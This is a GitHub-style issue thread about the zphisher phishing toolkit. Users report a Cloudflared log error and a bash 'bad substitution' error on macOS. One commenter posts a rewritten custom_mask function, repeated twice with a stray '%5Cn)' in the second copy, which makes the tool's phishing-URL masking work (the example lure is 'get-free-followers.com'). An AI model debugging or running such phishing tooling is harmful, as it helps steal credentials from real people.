zphisher
zphisher copied to clipboard
server/.cld.log: No such file or directory
Which environment you are using ?
Linux / Desktop
Describe the bug
on macOS and am running into a server/.cld.log: No such file or directory
This issue was already flagged and closed, however, when originaly opened it was on a windows device. The same error occurs on mac.
Provide log output [Optional]
[-] Launching Cloudflared...grep: .server/.cld.log: No such file or directory
░▀▀█░█▀█░█░█░▀█▀░█▀▀░█░█░█▀▀░█▀▄
░▄▀░░█▀▀░█▀█░░█░░▀▀█░█▀█░█▀▀░█▀▄
░▀▀▀░▀░░░▀░▀░▀▀▀░▀▀▀░▀░▀░▀▀▀░▀░▀ 2.3.5
[?] Do you want to change Mask URL? [y/N] : n
zphisher.sh: line 552: ${mask_op,,}: bad substitution
Substitution error was with the function:
Corrected function here:
custom_mask() { { sleep .5; clear; banner_small; echo; } read -n1 -p "${RED}[${WHITE}?${RED}]${ORANGE} Do you want to change Mask URL? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}] :${ORANGE} " mask_op echo if [[ $(echo "$mask_op" | tr '[:upper:]' '[:lower:]') == "y" ]]; then echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Enter your custom URL below ${CYAN}(${ORANGE}Example: https://get-free-followers.com${CYAN})\n" read -e -p "${WHITE} ==> ${ORANGE}" -i "https://" mask_url if [[ ${mask_url//:} =~ ^([h][t][t][p][s]?)$ || ${mask_url::3} == "www" ]] && [[ ${mask_url#http//} =~ ^[^,~!@%:=#;^*"'|?+<>({)}\/]+$ ]]; then mask=$mask_url echo -e "\n${RED}[${WHITE}-${RED}]${CYAN} Using custom Masked Url :${GREEN} $mask" else echo -e "\n${RED}[${WHITE}!${RED}]${ORANGE} Invalid URL type.. Using the default one.." fi fi }
Substitution error was with the function:
Corrected function here:
custom_mask() { { sleep .5; clear; banner_small; echo; } read -n1 -p "${RED}[${WHITE}?${RED}]${ORANGE} Do you want to change Mask URL? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}] :${ORANGE} " mask_op echo if [[ $(echo "$mask_op" | tr '[:upper:]' '[:lower:]') == "y" ]]; then echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Enter your custom URL below ${CYAN}(${ORANGE}Example: https://get-free-followers.com${CYAN})\n%5Cn)" read -e -p "${WHITE} ==> ${ORANGE}" -i "https://" mask_url if [[ ${mask_url//:} =~ ^([h][t][t][p][s]?)$ || ${mask_url::3} == "www" ]] && [[ ${mask_url#http//} =~ ^[^,~!@%:=#;^*"'|?+<>({)}\/]+$ ]]; then mask=$mask_url echo -e "\n${RED}[${WHITE}-${RED}]${CYAN} Using custom Masked Url :${GREEN} $mask" else echo -e "\n${RED}[${WHITE}!${RED}]${ORANGE} Invalid URL type.. Using the default one.." fi fi }
please tell me in simple language how to fix it... while I am pressing y for Do you want to change Mask URL? [y/N] this option -zphisher.sh: line 552: ${mask_op,,}: bad substitution this is coming how to fix??